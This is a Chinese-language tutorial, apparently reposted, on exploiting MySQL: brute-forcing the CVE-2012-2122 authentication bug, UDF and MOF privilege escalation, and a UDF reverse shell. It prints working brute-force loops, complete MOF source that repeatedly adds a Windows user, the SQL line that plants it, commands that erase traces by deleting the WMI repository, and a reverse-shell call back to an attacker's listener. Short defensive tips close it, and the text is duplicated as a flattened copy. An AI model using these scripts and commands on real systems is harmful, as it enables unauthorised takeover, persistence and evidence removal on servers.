mysql数据库漏洞利用及提权方式小结
字数 1108 2025-08-25 22:58:40

MySQL数据库漏洞利用及提权方式详解

一、CVE-2012-2122 MySQL身份认证漏洞

影响版本

  • MySQL 5.5.24之前版本
  • MariaDB相应版本

漏洞原理

该漏洞允许攻击者在知道用户名的情况下,通过不断尝试即可直接登录MySQL数据库。根据官方公告,大约256次尝试就能成功登录一次。

漏洞复现方法

1. Metasploit利用

使用Metasploit框架中的相关模块进行利用,成功后可以获取密码哈希并进行解密。

2. Python利用脚本

#!/usr/bin/python
import subprocess
while 1:
    subprocess.Popen("mysql -u root -p -h 192.168.0.16 --password=test", shell=True).wait()

3. Shell利用脚本

for i in `seq 1 1000`; do mysql -u root -p -h 192.168.0.16 --password=bad 2>/dev/null; done

二、MySQL UDF提权

文件位置要求

  • MySQL版本大于5.1:udf.dll文件必须放在MySQL安装目录的lib\plugin文件夹下
  • MySQL版本小于5.1
    • Windows Server 2003:c:\windows\system32
    • Windows Server 2000:c:\winnt\system32

提权方法

1. 使用sqlmap进行UDF提权

sqlmap工具内置了UDF提权功能。

2. 使用Metasploit进行UDF提权

使用mysql_udf_payload模块(适用于5.5.9以下版本)

3. 手工UDF提权步骤

  1. 上传UDF文件(如暗月木马)
  2. 自动判断MySQL版本并确定导出dll文件位置
  3. 如无plugin目录则手动创建
  4. 导出udf.dll文件
  5. 执行系统命令(如添加管理员、开启3389端口等)

三、MySQL MOF提权

1. 直接上传文件MOF提权

上传mof.php文件,登录后执行任意命令。

2. 使用Metasploit进行MOF提权

使用mysql_mof模块(某些版本可能不成功)

3. 上传nullevt.mof文件提权

nullevt.mof文件源码

#pragma namespace("\\\\.\\root\\subscription")

instance of __EventFilter as $EventFilter
{
    EventNamespace = "Root\\Cimv2";
    Name = "filtP2";
    Query = "Select * From __InstanceModificationEvent "
            "Where TargetInstance Isa \"Win32_LocalTime\" "
            "And TargetInstance.Second = 5";
    QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
    Name = "consPCSV2";
    ScriptingEngine = "JScript";
    ScriptText ="var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user ghtwf011 ghtwf01 /add\")";
};

instance of __FilterToConsumerBinding
{
    Consumer = $Consumer;
    Filter = $EventFilter;
};

使用方法

  1. 使用SQL语句将文件导入到c:/windows/system32/wbem/mof/目录:
select load_file("C:/phpstudy/WWW/nullevt.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"

注意:必须使用dumpfile而非outfile,因为outfile会在文件末尾写入新行,导致MOF文件无法正常执行。

  1. 成功执行后,系统会每5秒创建一个指定账户。

痕迹清理方法

net stop winmgmt
net user ghtwf011 /delete
cd c:/windows/system32/wbem
del repository
net start winmgmt

四、MySQL反弹端口提权

原理

通过声明一个backdoor函数实现反弹shell。

利用步骤

  1. 定义UDF.dll内容的16进制形式
  2. 依次执行相关命令
  3. 在Kali上使用nc监听指定端口
  4. 执行反弹shell命令:
select backshell("192.168.0.12",4444);

五、防御建议

  1. 及时更新MySQL到最新版本
  2. 限制MySQL用户的权限
  3. 禁用不必要的函数和特性
  4. 加强密码策略
  5. 限制远程访问
  6. 定期审计数据库配置和日志

六、参考链接

原始文章链接

MySQL数据库漏洞利用及提权方式详解 一、CVE-2012-2122 MySQL身份认证漏洞 影响版本 MySQL 5.5.24之前版本 MariaDB相应版本 漏洞原理 该漏洞允许攻击者在知道用户名的情况下,通过不断尝试即可直接登录MySQL数据库。根据官方公告,大约256次尝试就能成功登录一次。 漏洞复现方法 1. Metasploit利用 使用Metasploit框架中的相关模块进行利用,成功后可以获取密码哈希并进行解密。 2. Python利用脚本 3. Shell利用脚本 二、MySQL UDF提权 文件位置要求 MySQL版本大于5.1 :udf.dll文件必须放在MySQL安装目录的 lib\plugin 文件夹下 MySQL版本小于5.1 : Windows Server 2003: c:\windows\system32 Windows Server 2000: c:\winnt\system32 提权方法 1. 使用sqlmap进行UDF提权 sqlmap工具内置了UDF提权功能。 2. 使用Metasploit进行UDF提权 使用 mysql_udf_payload 模块(适用于5.5.9以下版本) 3. 手工UDF提权步骤 上传UDF文件(如暗月木马) 自动判断MySQL版本并确定导出dll文件位置 如无plugin目录则手动创建 导出udf.dll文件 执行系统命令(如添加管理员、开启3389端口等) 三、MySQL MOF提权 1. 直接上传文件MOF提权 上传mof.php文件,登录后执行任意命令。 2. 使用Metasploit进行MOF提权 使用 mysql_mof 模块(某些版本可能不成功) 3. 上传nullevt.mof文件提权 nullevt.mof文件源码 使用方法 使用SQL语句将文件导入到 c:/windows/system32/wbem/mof/ 目录: 注意 :必须使用 dumpfile 而非 outfile ,因为 outfile 会在文件末尾写入新行,导致MOF文件无法正常执行。 成功执行后,系统会每5秒创建一个指定账户。 痕迹清理方法 四、MySQL反弹端口提权 原理 通过声明一个backdoor函数实现反弹shell。 利用步骤 定义UDF.dll内容的16进制形式 依次执行相关命令 在Kali上使用nc监听指定端口 执行反弹shell命令: 五、防御建议 及时更新MySQL到最新版本 限制MySQL用户的权限 禁用不必要的函数和特性 加强密码策略 限制远程访问 定期审计数据库配置和日志 六、参考链接 原始文章链接